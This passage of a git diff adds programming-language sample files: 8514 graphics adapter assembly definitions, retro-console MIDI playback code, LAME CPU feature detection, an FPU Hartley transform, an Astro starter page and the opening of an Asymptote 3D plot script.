+FGD_MIX_ACT		equ 0000h
+;/* Misc bit deinitions */
+STOP_SEQ		equ 9000h	;/* subsystem cntl reg */
+START_SEQ		equ 5000h	;/* subsystem cntl reg */
+RESET_QUEUE_FULL equ 04h
+
+VP1024	equ 0		;/* AI Monde 0,2,3		*/
+VP644	equ 1		;/* AI Mode 1 (4 plane)  */
+VP648	equ 2		;/* AI Mode 1 (8 plane)	*/
+
+
+;/*.........................CONTROL WORD BITFIELDS...................*/
+GP_READ		equ 0
+GP_WRITE	equ 1				;/* Writing or reading screen */
+GP_PIXEL	equ 0
+GP_PLANE	equ (1<<1)			;/* Bitplane or chunky pixels */
+GP_SETL		equ 0
+GP_SKIPL	equ (1<<2)			;/* Skip last pixel in line? */
+GP_LINEL	equ 0
+GP_LINES	equ (1<<3)			;/* Short stroke or long line? */
+GP_MOVE		equ 0
+GP_DRAW		equ (1<<4)			;/* Draw pixels or just move x/y position */
+GP_DECX		equ 0
+GP_INCX		equ (1<<5)			;/* Increment or decrement x position? */
+GP_AXISX	equ 0
+GP_AXISY	equ (1<<6)			;/* Is Y or X the major axis? */
+GP_DECY		equ 0
+GP_INCY		equ (1<<7)			;/* Increment or decrement y position? */
+GP_NODATA	equ 0
+GP_DATA		equ (1<<8)			;/* Pixel Data Transfer register used? */
+GP_BUS8		equ 0
+GP_BUS16	equ (1<<9)			;/* 16 or 8 bit buss access */
+GP_PIXEL8	equ 0
+GP_PIXEL16	equ (1<<10)			;/* Always enabled - 16 bit internal */
+GP_RESERVED equ (0<<11)
+GP_NOSWAP	equ 0
+GP_SWAP		equ (1<<12)			;/* Swap bytes on 16 bit PC transfers */
+GPC_NOP		equ (0<<13)			;/* Do nothing */
+GPC_LINE	equ (1<<13)			;/* Draw a line */
+GPC_RECTX	equ (2<<13)			;/* Rectangle drawn x-wise. Pos updated */
+GPC_RECTY	equ (3<<13)			;/* Rectangle drawn y-wise. Pos updated */
+GPC_RECTS	equ (4<<13)			;/* Rectangle.  XY Pos not updated at end */
+GPC_LINEF	equ (5<<13)			;/* Line for doing poly-fills. */
+GPC_COPY	equ (6<<13)			;/* Copy to/from memory */
+GPC_HANG	equ (7<<13)			;/* Make adapter hang & need reboot */
+
+
+Wait_free  MACRO
+           LOCAL     WaitLoop
+
+           mov       DX, CMD_STATUS       ; Make sure the board's not busy...
+WaitLoop:  in        AX, DX            ; Read the status.
+           test      AX, CMD_ACTIVE          ; Is the machine busy?
+           jnz       WaitLoop          ; Yes, try again.
+           ENDM
+
+Wait_queue macro
+	local bloop
+	mov dx,GP_STATUS
+bloop:
+	in al,dx
+	test al,02h
+	jnz	bloop
+	endm
+
+
+
+
+
+rast8514 struc
+	vm_type dw ?
+	vm_pdepth dw ?
+	vm_lib dd ?
+	vm_aspect_dx dw ?
+	vm_aspect_dy dw ?
+	vm_reserved dd ?
+	vm_w dw ?
+	vm_h dw ?
+	vm_x dw ?
+	vm_y dw ?
+	vm_xcard dd ?
+	vm_ycard dd ?
+	vm_screen_ix dd ?
+	vm_driver_reserved dd ?
+rast8514 ends
+
+
+;
+; WAITQ
+;
+; Waits until the specified number of entries are available in the
+; command queue. AX, BX, and DX are destroyed. No error checking on the
+; input parameter is performed, but it must be <= 8.
+
+WAITQ      MACRO     qEntries
+           LOCAL     CheckQ
+
+           Mov       DX, GP_STATUS     ; Get the queue status address.
+CheckQ:
+           In        AL, DX            ; Get the status
+           test      AL, 0100H SHR (qEntries) ; Is the queue entry available?
+           Jnz       CheckQ            ; Yes if result is Zero.
+           ENDM
+;
+; CLRCMD
+;
+; Waits until no more commands are active.
+; AX, and DX may be destroyed.
+
+CLRCMD     MACRO
+           LOCAL     WaitLoop
+
+           mov       DX, CMD_STATUS    ; Make sure the board's not busy...
+WaitLoop:  in        AL, DX            ; Read the status.
+           test      AL, CMD_ACTIVE    ; Is the machine busy?
+           jnz       WaitLoop          ; Yes, try again.
+           ENDM
+
+;
+; CANC_XFER
+;
+; If we are in the pixel transfer mode, cancel out of it.
+
+CANC_XFER  MACRO
+           LOCAL     OK
+           Cmp       xferMode, 0             ; Are we in pixel transfer mode?
+           Je        OK                      ; No, all is well.
+           OUTPW     FRGD_MIX_REG, foreMix   ; Yes, restore to previous mode.
+           OUTPW     BKGD_MIX_REG, backMix   ; Restore all.
+           Mov       xferMode, 0       ; Remember that we restored it.
+OK:
+           ENDM
+
diff --git a/samples/Assembly/audio.i b/samples/Assembly/audio.i
new file mode 100644
index 0000000000..40b65d7c6f
--- /dev/null
+++ b/samples/Assembly/audio.i
@@ -0,0 +1,108 @@
+resetAudio      LDWI    0x0000
+                STW     midiCommand
+                STW     midiDelay
+                STW     midiNote
+                LDWI    giga_soundChan1
+                STW     midiScratch
+                LDWI    title_screenMidi00  ; midi score
+                STW     midiStreamPtr
+
+                LDI     0x04
+                ST      ii
+
+resetA_loop     LDI     giga_soundChan1     ; reset low byte
+                ST      midiScratch
+                LDWI    0x0200              
+                DOKE    midiScratch         ; wavA and wavX
+                INC     midiScratch
+                INC     midiScratch    
+                LDWI    0x0000
+                DOKE    midiScratch         ; keyL and keyH
+                INC     midiScratch
+                INC     midiScratch
+                DOKE    midiScratch         ; oscL and oscH
+                INC     midiScratch + 1     ; increment high byte
+                LoopCounter ii resetA_loop
+                RET
+
+
+playMidi        LDI     0x05                ; keep pumping soundTimer, so that global sound stays alive
+                ST      giga_soundTimer
+                LD      giga_frameCount
+                SUBW    midiDelay
+                BEQ     playM_start
+                RET
+
+playM_start     PUSH
+playM_process   LDW     midiStreamPtr
+                PEEK                        ; get midi stream byte
+                STW     midiCommand
+                LDW     midiStreamPtr
+                ADDI    0x01
+                STW     midiStreamPtr
+                LDI     0xF0
+                ANDW    midiCommand
+                XORI    0x90                ; check for start note
+                BNE     playM_endnote
+
+                CALL    midiStartNote       ; start note
+                BRA     playM_process
+                
+playM_endnote   XORI    0x10                ; check for end note
+                BNE     playM_segment
+
+                CALL    midiEndNote         ; end note
+                BRA     playM_process
+
+
+playM_segment   XORI    0x50                ; check for new segment
+                BNE     playM_delay
+
+                LDW     midiStreamPtr       ; midi score
+                DEEK
+                STW     midiStreamPtr       ; 0xD0 new midi segment address
+                BRA     playM_process
+
+playM_delay     LD      giga_frameCount     ; midiDelay = (midiCommand + peek(frameCount)) & 0x00FF 
+                ADDW    midiCommand
+                ST      midiDelay
+                POP
+                RET
+
+
+midiStartNote   LDWI    giga_notesTable     ; note table in ROM
+                STW     midiScratch
+                LDW     midiStreamPtr       ; midi score
+                PEEK
+                SUBI    11
+                LSLW
+                ADDW    midiScratch
+                STW     midiScratch
+                LUP     0x00                ; get ROM midi note low byte
+                ST      midiNote
+                LDW     midiScratch
+                LUP     0x01                ; get ROM midi note high byte
+                ST      midiNote + 1
+                LDW     midiCommand
+                ANDI    0x03                ; get channel
+                ADDI    0x01                
+                ST      midiScratch + 1
+                LDI     0xFC
+                ST      midiScratch         ; channels address 0x01FC <-> 0x04FC
+                LDW     midiNote
+                DOKE    midiScratch         ; set note
+                LDW     midiStreamPtr
+                ADDI    0x01                ; midiStreamPtr++
+                STW     midiStreamPtr
+                RET
+
+
+midiEndNote     LDW     midiCommand
+                ANDI    0x03                ; get channel
+                ADDI    0x01                
+                ST      midiScratch + 1
+                LDI     0xFC
+                ST      midiScratch         ; channels address 0x01FC <-> 0x04FC
+                LDWI    0x0000
+                DOKE    midiScratch         ; end note
+                RET
\ No newline at end of file
diff --git a/samples/Assembly/cpu_feat.nas b/samples/Assembly/cpu_feat.nas
new file mode 100644
index 0000000000..b5b09c11ad
--- /dev/null
+++ b/samples/Assembly/cpu_feat.nas
@@ -0,0 +1,107 @@
+;
+;
+; 	assembler routines to detect CPU-features
+;
+;	MMX / 3DNow! / SSE / SSE2
+;
+;	for the LAME project
+;	Frank Klemm, Robert Hegemann 2000-10-12
+;
+
+%include "nasm.h"
+
+	globaldef	has_MMX_nasm
+	globaldef	has_3DNow_nasm
+	globaldef	has_SSE_nasm
+	globaldef	has_SSE2_nasm
+
+        segment_code
+
+testCPUID:
+	pushfd	                        
+	pop	eax
+	mov	ecx,eax
+	xor	eax,0x200000
+	push	eax
+	popfd
+	pushfd
+	pop	eax
+	cmp	eax,ecx
+	ret
+
+;---------------------------------------
+;	int  has_MMX_nasm (void)
+;---------------------------------------
+
+has_MMX_nasm:
+        pushad
+	call	testCPUID
+	jz	return0		; no CPUID command, so no MMX
+
+	mov	eax,0x1
+	CPUID
+	test	edx,0x800000
+	jz	return0		; no MMX support
+	jmp	return1		; MMX support
+        
+;---------------------------------------
+;	int  has_SSE_nasm (void)
+;---------------------------------------
+
+has_SSE_nasm:
+        pushad
+	call	testCPUID
+	jz	return0		; no CPUID command, so no SSE
+        
+	mov	eax,0x1
+	CPUID
+	test	edx,0x02000000
+	jz	return0		; no SSE support
+	jmp	return1		; SSE support
+        
+;---------------------------------------
+;	int  has_SSE2_nasm (void)
+;---------------------------------------
+
+has_SSE2_nasm:
+        pushad
+	call	testCPUID
+	jz	return0		; no CPUID command, so no SSE2
+        
+	mov	eax,0x1
+	CPUID
+	test	edx,0x04000000
+	jz	return0		; no SSE2 support
+	jmp	return1		; SSE2 support
+        
+;---------------------------------------
+;	int  has_3DNow_nasm (void)
+;---------------------------------------
+
+has_3DNow_nasm:
+        pushad
+	call	testCPUID
+	jz	return0		; no CPUID command, so no 3DNow!
+
+	mov	eax,0x80000000
+	CPUID
+	cmp	eax,0x80000000
+	jbe	return0		; no extended MSR(1), so no 3DNow!
+
+	mov	eax,0x80000001
+	CPUID
+	test	edx,0x80000000
+	jz	return0		; no 3DNow! support
+				; 3DNow! support
+return1:
+	popad
+	xor	eax,eax
+	inc	eax
+	ret
+
+return0:
+	popad
+	xor	eax,eax
+	ret
+        
+        end
diff --git a/samples/Assembly/fftfpu.nas b/samples/Assembly/fftfpu.nas
new file mode 100644
index 0000000000..2ae89bd799
--- /dev/null
+++ b/samples/Assembly/fftfpu.nas
@@ -0,0 +1,619 @@
+; back port from GOGO-no coda 2.24b by Takehiro TOMINAGA
+
+; GOGO-no-coda
+;	Copyright (C) 1999 shigeo
+;	special thanks to URURI
+
+%include "nasm.h"
+
+	externdef costab_fft
+	externdef sintab_fft
+
+	segment_data
+	align 32
+D_1_41421	dd	1.41421356
+D_1_0	dd	1.0
+D_0_5	dd	0.5
+D_0_25	dd	0.25
+D_0_0005	dd	0.0005
+D_0_0	dd	0.0
+
+	segment_code
+
+;void fht(float *fz, int n);
+proc	fht_FPU
+
+%$fz	arg	4
+%$n	arg	4
+
+%$k	local	4
+
+%$f0	local	4
+%$f1	local	4
+%$f2	local	4
+%$f3	local	4
+
+%$g0	local	4
+%$g1	local	4
+%$g2	local	4
+%$g3	local	4
+
+%$s1	local	4
+%$c1	local	4
+%$s2	local	4
+%$c2	local	4
+
+%$t_s	local	4
+%$t_c	local	4
+	alloc
+
+	pushd	ebp, ebx, esi, edi
+
+fht_FPU_1st_part:
+
+fht_FPU_2nd_part:
+
+fht_FPU_3rd_part:
+
+.do_init:
+	mov	r3, 16		;k1*fsize = 4*fsize = k4
+	mov	r4, 8		;kx = k1/2
+	mov	r2, 48		;k3*fsize
+	mov	dword [sp(%$k)], 2	;k = 2
+	mov	r0, [sp(%$fz)]	;fi
+	lea	r1, [r0+8]		;gi = fi + kx
+
+.do:
+.do2:
+	;f
+	fld	dword [r0]
+	fsub	dword [r0+r3]
+
+	fld	dword [r0]
+	fadd	dword [r0+r3]
+
+	fld	dword [r0+r3*2]
+	fsub	dword [r0+r2]
+
+	fld	dword [r0+r3*2]
+	fadd	dword [r0+r2]		;f2 f3 f0 f1
+
+	fld	st2			;f0 f2 f3 f0 f1
+	fadd	st0, st1
+	fstp	dword [r0]		;fi[0]
+
+	fld	st3			;f1 f2 f3 f0 f1
+	fadd	st0, st2
+	fstp	dword [r0+r3]		;fi[k1]
+
+	fsubr	st0, st2		;f0-f2 f3 f0 f1
+	fstp	dword [r0+r3*2]		;fi[k2]
+
+	fsubr	st0, st2		;f1-f3 f0 f1
+	fstp	dword [r0+r2]		;fi[k3]
+	fcompp
+
+	;g
+	fld	dword [r1]
+	fsub	dword [r1+r3]
+
+	fld	dword [r1]
+	fadd	dword [r1+r3]
+
+	fld	dword [D_1_41421]
+	fmul	dword [r1+r2]
+
+	fld	dword [D_1_41421]
+	fmul	dword [r1+r3*2]		;g2 g3 g0 g1
+
+	fld	st2			;g0 g2 g3 g0 g1
+	fadd	st0, st1
+	fstp	dword [r1]		;gi[0]
+
+	fld	st3			;g1 g2 g3 g0 g1
+	fadd	st0, st2
+	fstp	dword [r1+r3]		;gi[k1]
+
+	fsubr	st0, st2		;g0-g2 g3 g0 g1
+	fstp	dword [r1+r3*2]		;gi[k2]
+
+	fsubr	st0, st2		;g1-g3 g0 g1
+	fstp	dword [r1+r2]		;gi[k3]
+	fcompp
+
+	lea	r0, [r0+r3*4]
+	lea	r1, [r1+r3*4]
+	cmp	r0, r6
+	jb	.do2
+
+
+	mov	r0, [sp(%$k)]
+	fld	dword [costab_fft +r0*4]
+	fstp	dword [sp(%$t_c)]
+	fld	dword [sintab_fft +r0*4]
+	fstp	dword [sp(%$t_s)]
+	fld	dword [D_1_0]
+	fstp	dword [sp(%$c1)]
+	fld	dword [D_0_0]
+	fstp	dword [sp(%$s1)]
+
+.for_init:
+	mov	r5, 4		;i = 1*fsize
+
+.for:
+	fld	dword [sp(%$c1)]
+	fmul	dword [sp(%$t_c)]
+	fld	dword [sp(%$s1)]
+	fmul	dword [sp(%$t_s)]
+	fsubp	st1, st0		;c1
+
+	fld	dword [sp(%$c1)]
+	fmul	dword [sp(%$t_s)]
+	fld	dword [sp(%$s1)]
+	fmul	dword [sp(%$t_c)]
+	faddp	st1, st0		;s1 c1
+	
+	fld	st1
+	fmul	st0, st0		;c1c1 s1 c1
+	fld	st1
+	fmul	st0, st0		;s1s1 c1c1 s1 c1
+	fsubp	st1, st0		;c2 s1 c1
+	fstp	dword [sp(%$c2)]	;s1 c1
+
+	fld	st1			;c1 s1 c1
+	fmul	st0, st1		;c1s1 s1 c1
+	fadd	st0, st0		;s2 s1 c1
+	fstp	dword [sp(%$s2)]	;s1 c1
+
+	fstp	dword [sp(%$s1)]	;c1
+	fstp	dword [sp(%$c1)]	;
+	
+	mov	r0, [sp(%$fz)]
+	add	r0, r5		;r0 = fi
+	mov	r1, [sp(%$fz)]
+	add	r1, r3
+	sub	r1, r5		;r1 = gi
+
+.do3:
+	fld	dword [sp(%$s2)]
+	fmul	dword [r0+r3]
+	fld	dword [sp(%$c2)]
+	fmul	dword [r1+r3]
+	fsubp	st1, st0		;b = s2*fi[k1] - c2*gi[k1]
+
+	fld	dword [sp(%$c2)]
+	fmul	dword [r0+r3]
+	fld	dword [sp(%$s2)]
+	fmul	dword [r1+r3]
+	faddp	st1, st0		;a = c2*fi[k1] + s2*gi[k1]  b
+
+	fld	dword [r0]
+	fsub	st0, st1		;f1 a b
+	fstp	dword [sp(%$f1)]	;a b
+
+	fadd	dword [r0]		;f0 b
+	fstp	dword [sp(%$f0)]	;b
+
+	fld	dword [r1]
+	fsub	st0, st1		;g1 b
+	fstp	dword [sp(%$g1)]	;b
+
+	fadd	dword [r1]		;g0
+	fstp	dword [sp(%$g0)]	;
+
+
+	fld	dword [sp(%$s2)]
+	fmul	dword [r0+r2]
+	fld	dword [sp(%$c2)]
+	fmul	dword [r1+r2]
+	fsubp	st1, st0		;b = s2*fi[k3] - c2*gi[k3]
+
+	fld	dword [sp(%$c2)]
+	fmul	dword [r0+r2]
+	fld	dword [sp(%$s2)]
+	fmul	dword [r1+r2]
+	faddp	st1, st0		;a = c2*fi[k3] + s2*gi[k3]  b
+
+	fld	dword [r0+r3*2]
+	fsub	st0, st1		;f3 a b
+	fstp	dword [sp(%$f3)]	;a b
+
+	fadd	dword [r0+r3*2]	;f2 b
+	fstp	dword [sp(%$f2)]	;b
+
+	fld	dword [r1+r3*2]
+	fsub	st0, st1		;g3 b
+	fstp	dword [sp(%$g3)]	;b
+
+	fadd	dword [r1+r3*2]	;g2
+	fstp	dword [sp(%$g2)]	;
+
+
+	fld	dword [sp(%$s1)]
+	fmul	dword [sp(%$f2)]
+	fld	dword [sp(%$c1)]
+	fmul	dword [sp(%$g3)]
+	fsubp	st1, st0		;b = s1*f2 - c1*g3
+	
+	fld	dword [sp(%$c1)]
+	fmul	dword [sp(%$f2)]
+	fld	dword [sp(%$s1)]
+	fmul	dword [sp(%$g3)]
+	faddp	st1, st0		;a = c1*f2 + s1*g3  b
+
+	fld	dword [sp(%$f0)]
+	fsub	st0, st1		;fi[k2] a b
+	fstp	dword [r0+r3*2]
+
+	fadd	dword [sp(%$f0)]	;fi[0] b
+	fstp	dword [r0]
+
+	fld	dword [sp(%$g1)]
+	fsub	st0, st1		;gi[k3] b
+	fstp	dword [r1+r2]
+
+	fadd	dword [sp(%$g1)]	;gi[k1]
+	fstp	dword [r1+r3]
+
+
+	fld	dword [sp(%$c1)]
+	fmul	dword [sp(%$g2)]
+	fld	dword [sp(%$s1)]
+	fmul	dword [sp(%$f3)]
+	fsubp	st1, st0		;b = c1*g2 - s1*f3
+	
+	fld	dword [sp(%$s1)]
+	fmul	dword [sp(%$g2)]
+	fld	dword [sp(%$c1)]
+	fmul	dword [sp(%$f3)]
+	faddp	st1, st0		;a = s1*g2 + c1*f3  b
+
+	fld	dword [sp(%$g0)]
+	fsub	st0, st1		;gi[k2] a b
+	fstp	dword [r1+r3*2]
+
+	fadd	dword [sp(%$g0)]	;gi[0] b
+	fstp	dword [r1]
+
+	fld	dword [sp(%$f1)]
+	fsub	st0, st1		;fi[k3] b
+	fstp	dword [r0+r2]
+
+	fadd	dword [sp(%$f1)]	;fi[k1]
+	fstp	dword [r0+r3]
+
+
+	lea	r0, [r0+r3*4]
+	lea	r1, [r1+r3*4]
+	cmp	r0, r6
+	jb near	.do3
+
+	add	r5, 4
+	cmp	r5, r4
+	jb near	.for
+
+	cmp	r3, [sp(%$n)]
+	jae	.exit
+
+	add	dword [sp(%$k)], 2	;k  += 2;
+	lea	r3, [r3*4]		;k1 *= 4
+	lea	r2, [r2*4]		;k3 *= 4
+	lea	r4, [r4*4]		;kx *= 4
+	mov	r0, [sp(%$fz)]	;fi
+	lea	r1, [r0+r4]		;gi = fi + kx
+	jmp	.do
+
+.exit:
+	popd	ebp, ebx, esi, edi
+endproc
+
+;*************************************************************
+
+;void fht_FPU_FXCH(float *fz, int n);
+proc	fht_FPU_FXCH
+
+%$fz	arg	4
+%$n	arg	4
+
+%$k	local	4
+
+%$f0	local	4
+%$f1	local	4
+%$f2	local	4
+%$f3	local	4
+
+%$g0	local	4
+%$g1	local	4
+%$g2	local	4
+%$g3	local	4
+
+%$s1	local	4
+%$c1	local	4
+%$s2	local	4
+%$c2	local	4
+
+%$t_s	local	4
+%$t_c	local	4
+	alloc
+
+	pushd	ebp, ebx, esi, edi
+
+fht_FPU_FXCH_1st_part:
+
+fht_FPU_FXCH_2nd_part:
+
+fht_FPU_FXCH_3rd_part:
+
+.do_init:
+	mov	r3, 16		;k1*fsize = 4*fsize = k4
+	mov	r4, 8		;kx = k1/2
+	mov	r2, 48		;k3*fsize
+	mov	dword [sp(%$k)], 2	;k = 2
+	mov	r0, [sp(%$fz)]	;fi
+	lea	r1, [r0+8]		;gi = fi + kx
+
+.do:
+.do2:
+	;f
+	fld	dword [r0]
+	fsub	dword [r0+r3]
+	fld	dword [r0]
+	fadd	dword [r0+r3]
+
+	fld	dword [r0+r3*2]
+	fsub	dword [r0+r2]
+	fld	dword [r0+r3*2]
+	fadd	dword [r0+r2]		;f2 f3 f0 f1
+
+	fld	st3
+	fld	st3
+	fxch	st5
+	fadd	st0, st3
+	fxch	st4
+	fadd	st0, st2
+	fxch	st3
+	fsubp	st1, st0
+	fxch	st1
+	fsubp	st4, st0
+	fxch	st2
+
+	fstp	dword [r0+r3]		;fi[k1]
+	fstp	dword [r0]		;fi[0]
+	fstp	dword [r0+r2]		;fi[k3]
+	fstp	dword [r0+r3*2]		;fi[k2]
+
+	;g
+	fld	dword [r1]
+	fsub	dword [r1+r3]
+	fld	dword [r1]
+	fadd	dword [r1+r3]
+
+	fld	dword [D_1_41421]
+	fmul	dword [r1+r2]
+	fld	dword [D_1_41421]
+	fmul	dword [r1+r3*2]		;g2 g3 g0 g1
+
+	fld	st3
+	fld	st3
+	fxch	st5
+	fadd	st0, st3
+	fxch	st4
+	fadd	st0, st2
+	fxch	st3
+	fsubp	st1, st0
+	fxch	st1
+	fsubp	st4, st0
+	fxch	st2
+
+	fstp	dword [r1+r3]		;gi[k1]
+	fstp	dword [r1]		;gi[0]
+	fstp	dword [r1+r2]		;gi[k3]
+	fstp	dword [r1+r3*2]		;gi[k2]
+
+	lea	r0, [r0+r3*4]
+	lea	r1, [r1+r3*4]
+	cmp	r0, r6
+	jb	.do2
+
+
+	mov	r0, [sp(%$k)]
+	fld	dword [costab_fft +r0*4]
+	fld	dword [sintab_fft +r0*4]
+	fld	dword [D_1_0]
+	fld	dword [D_0_0]
+	fxch	st3
+	fstp	dword [sp(%$t_c)]
+	fxch	st1
+	fstp	dword [sp(%$t_s)]
+	fstp	dword [sp(%$c1)]
+	fstp	dword [sp(%$s1)]
+
+.for_init:
+	mov	r5, 4		;i = 1*fsize
+
+.for:
+	fld	dword [sp(%$c1)]
+	fmul	dword [sp(%$t_c)]
+	fld	dword [sp(%$s1)]
+	fmul	dword [sp(%$t_s)]
+
+	fld	dword [sp(%$c1)]
+	fmul	dword [sp(%$t_s)]
+	fld	dword [sp(%$s1)]
+	fmul	dword [sp(%$t_c)]
+	fxch	st2
+	fsubp	st3, st0		;c1
+	faddp	st1, st0		;s1 c1
+	
+	fld	st1
+	fxch	st2
+	fmul	st0, st0		;c1c1 s1 c1
+	fld	st1
+	fxch	st2
+	fmul	st0, st0		;s1s1 c1c1 s1 c1
+
+	fxch	st3
+	fst	dword [sp(%$c1)]	;c1
+	fxch	st2
+	fst	dword [sp(%$s1)]	;s1 c1c1 c1 s1s1
+
+	fmulp	st2, st0
+	fsubrp	st2, st0
+	fadd	st0, st0		;s2 c2
+	fxch	st1
+	fstp	dword [sp(%$c2)]
+	fstp	dword [sp(%$s2)]
+
+	mov	r0, [sp(%$fz)]
+	mov	r1, [sp(%$fz)]
+	add	r0, r5		;r0 = fi
+	add	r1, r3
+	sub	r1, r5		;r1 = gi
+
+.do3:
+	fld	dword [sp(%$s2)]
+	fmul	dword [r0+r3]
+	fld	dword [sp(%$c2)]
+	fmul	dword [r1+r3]
+
+	fld	dword [sp(%$c2)]
+	fmul	dword [r0+r3]
+	fld	dword [sp(%$s2)]
+	fmul	dword [r1+r3]
+	fxch	st2
+	fsubp	st3, st0		;b = s2*fi[k1] - c2*gi[k1]
+	faddp	st1, st0		;a = c2*fi[k1] + s2*gi[k1]  b
+
+	fld	dword [r1]
+	fsub	st0, st2		;g1 a b
+	fxch	st2
+	fadd	dword [r1]		;g0 a g1
+
+	fld	dword [r0]
+	fsub	st0, st2		;f1 g0 a g1
+	fxch	st2
+	fadd	dword [r0]		;f0 g0 f1 g1
+
+	fxch	st3
+	fstp	dword [sp(%$g1)]
+	fstp	dword [sp(%$g0)]
+	fstp	dword [sp(%$f1)]
+	fstp	dword [sp(%$f0)]
+
+
+	fld	dword [sp(%$s2)]
+	fmul	dword [r0+r2]
+	fld	dword [sp(%$c2)]
+	fmul	dword [r1+r2]
+
+	fld	dword [sp(%$c2)]
+	fmul	dword [r0+r2]
+	fld	dword [sp(%$s2)]
+	fmul	dword [r1+r2]
+	fxch	st2
+	fsubp	st3, st0		;b = s2*fi[k3] - c2*gi[k3]
+	faddp	st1, st0		;a = c2*fi[k3] + s2*gi[k3]  b
+
+
+	fld	dword [r1+r3*2]
+	fsub	st0, st2		;g3 a b
+	fxch	st2
+	fadd	dword [r1+r3*2]	;g2 a g3
+
+	fld	dword [r0+r3*2]
+	fsub	st0, st2		;f3 g2 a g3
+	fxch	st2
+	fadd	dword [r0+r3*2]	;f2 g2 f3 g3
+
+	fxch	st3
+	fstp	dword [sp(%$g3)]
+	fstp	dword [sp(%$g2)]
+	fstp	dword [sp(%$f3)]
+	fstp	dword [sp(%$f2)]
+
+
+	fld	dword [sp(%$s1)]
+	fmul	dword [sp(%$f2)]
+	fld	dword [sp(%$c1)]
+	fmul	dword [sp(%$g3)]
+	
+	fld	dword [sp(%$c1)]
+	fmul	dword [sp(%$f2)]
+	fld	dword [sp(%$s1)]
+	fmul	dword [sp(%$g3)]
+	fxch	st2
+	fsubp	st3, st0		;b = s1*f2 - c1*g3
+	faddp	st1, st0		;a = c1*f2 + s1*g3  b
+
+	fld	dword [sp(%$g1)]
+	fsub	st0, st2		;gi[k3] a b
+	fxch	st2
+	fadd	dword [sp(%$g1)]	;gi[k1] a gi[k3]
+
+	fld	dword [sp(%$f0)]
+	fsub	st0, st2		;fi[k2] gi[k1] a gi[k3]
+	fxch	st2
+	fadd	dword [sp(%$f0)]	;fi[0] gi[k1] fi[k2] gi[k3]
+
+	fxch	st3
+	fstp	dword [r1+r2]
+	fstp	dword [r1+r3]
+	fstp	dword [r0+r3*2]
+	fstp	dword [r0]
+
+
+	fld	dword [sp(%$c1)]
+	fmul	dword [sp(%$g2)]
+	fld	dword [sp(%$s1)]
+	fmul	dword [sp(%$f3)]
+	
+	fld	dword [sp(%$s1)]
+	fmul	dword [sp(%$g2)]
+	fld	dword [sp(%$c1)]
+	fmul	dword [sp(%$f3)]
+	fxch	st2
+	fsubp	st3, st0		;b = c1*g2 - s1*f3
+	faddp	st1, st0		;a = s1*g2 + c1*f3  b
+
+	fld	dword [sp(%$f1)]
+	fsub	st0, st2		;fi[k3] a b
+	fxch	st2
+	fadd	dword [sp(%$f1)]	;fi[k1] a fi[k3]
+
+	fld	dword [sp(%$g0)]
+	fsub	st0, st2		;gi[k2] fi[k1] a fi[k3]
+	fxch	st2
+	fadd	dword [sp(%$g0)]	;gi[0] fi[k1] gi[k2] fi[k3]
+
+	fxch	st3
+	fstp	dword [r0+r2]
+	fstp	dword [r0+r3]
+	fstp	dword [r1+r3*2]
+	fstp	dword [r1]
+
+
+	lea	r0, [r0+r3*4]
+	lea	r1, [r1+r3*4]
+	cmp	r0, r6
+	jb near	.do3
+
+	add	r5, 4
+	cmp	r5, r4
+	jb near	.for
+
+	cmp	r3, [sp(%$n)]
+	jae	.exit
+
+	add	dword [sp(%$k)], 2	;k  += 2;
+	lea	r3, [r3*4]		;k1 *= 4
+	lea	r2, [r2*4]		;k3 *= 4
+	lea	r4, [r4*4]		;kx *= 4
+	mov	r0, [sp(%$fz)]	;fi
+	lea	r1, [r0+r4]		;gi = fi + kx
+	jmp	.do
+
+.exit:
+	popd	ebp, ebx, esi, edi
+endproc
+
+	end
diff --git a/samples/Astro/index.astro b/samples/Astro/index.astro
new file mode 100644
index 0000000000..afcc407809
--- /dev/null
+++ b/samples/Astro/index.astro
@@ -0,0 +1,56 @@
+---
+// Component Imports
+import Tour from '../components/Tour.astro';
+// You can import components from any supported Framework here!
+/* ASTRO:COMPONENT_IMPORTS */
+
+// Component Script:
+// You can write any JavaScript/TypeScript that you'd like here.
+// It will run during the build, but never in the browser.
+// All variables are available to use in the HTML template below.
+let title = 'My Astro Site';
+
+// Full Astro Component Syntax:
+// https://github.com/withastro/astro/blob/main/docs/core-concepts/astro-components.md
+---
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1">
+    <title>{title}</title>
+    <link rel="icon" type="image/svg+xml" href="/favicon.svg">
+    <link rel="stylesheet" href="/style/global.css">
+    <link rel="stylesheet" href="/style/home.css">
+
+    <style>
+        header {
+            display: flex;
+            flex-direction: column;
+            gap: 1em;
+            max-width: min(100%, 68ch);
+        }
+    </style>
+</head>
+<body>
+    <main>
+        <header>
+            <div>
+                <img width="60" height="80" src="/assets/logo.svg" alt="Astro logo">
+                <h1>Welcome to <a href="https://astro.build/">Astro</a></h1>
+            </div>
+        </header>
+
+        <Tour client:load />
+
+        <!--
+           - You can also use imported framework components directly in your markup!
+           -
+           - Note: by default, these components are NOT interactive on the client.
+           - The `:visible` directive tells Astro to make it interactive.
+           -
+           - See https://github.com/withastro/astro/blob/main/docs/core-concepts/component-hydration.md
+           -->
+        <!-- ASTRO:COMPONENT_MARKUP -->
+    </main>
+</body>
+</html>
diff --git a/samples/Asymptote/figarc4_3D.asy b/samples/Asymptote/figarc4_3D.asy
new file mode 100644
index 0000000000..0f5c5881ec
--- /dev/null
+++ b/samples/Asymptote/figarc4_3D.asy
@@ -0,0 +1,117 @@
+import graph3;
+
+//ASY file for figarc4_3D.asy in Chapter 7
+
+
+size(200,200,IgnoreAspect);
+//currentprojection=perspective(7,2,1);
+currentprojection=orthographic((16.7,13.2,46),(0,1,0),(0,0,0),1,(-.0323,0.0012));
+//currentprojection=orthographic((16.7,13.2,46),(0,1,0),(0,0,0),1,(0.0148,0.00673));
+defaultrender.merge=true;
+
+usepackage("amsmath");
+usepackage("mathspec");
+texpreamble("\setallmainfonts[Mapping=tex-text]{Calibri}");
+texpreamble("\setmainfont[Mapping=tex-text]{Calibri}");
+texpreamble("\setsansfont[Mapping=tex-text]{Calibri}");
+texpreamble("\setmathsfont(Greek){[cmmi10]}");
+
+
+// setup and draw the axes
+real[] myxchoice={};
+real[] myychoice={};
+real[] myzchoice={};
+defaultpen(0.5mm);
+
+pair xbounds=(-.25,2.1);
+pair ybounds=(-1.1,1.1);
+pair zbounds=(-1.1,1.1);
+
+xaxis3("",xbounds.x,xbounds.y,black,OutTicks(myxchoice),Arrow3(size=3mm));
+yaxis3("",ybounds.x,ybounds.y,black,OutTicks(myychoice),Arrow3(size=3mm));
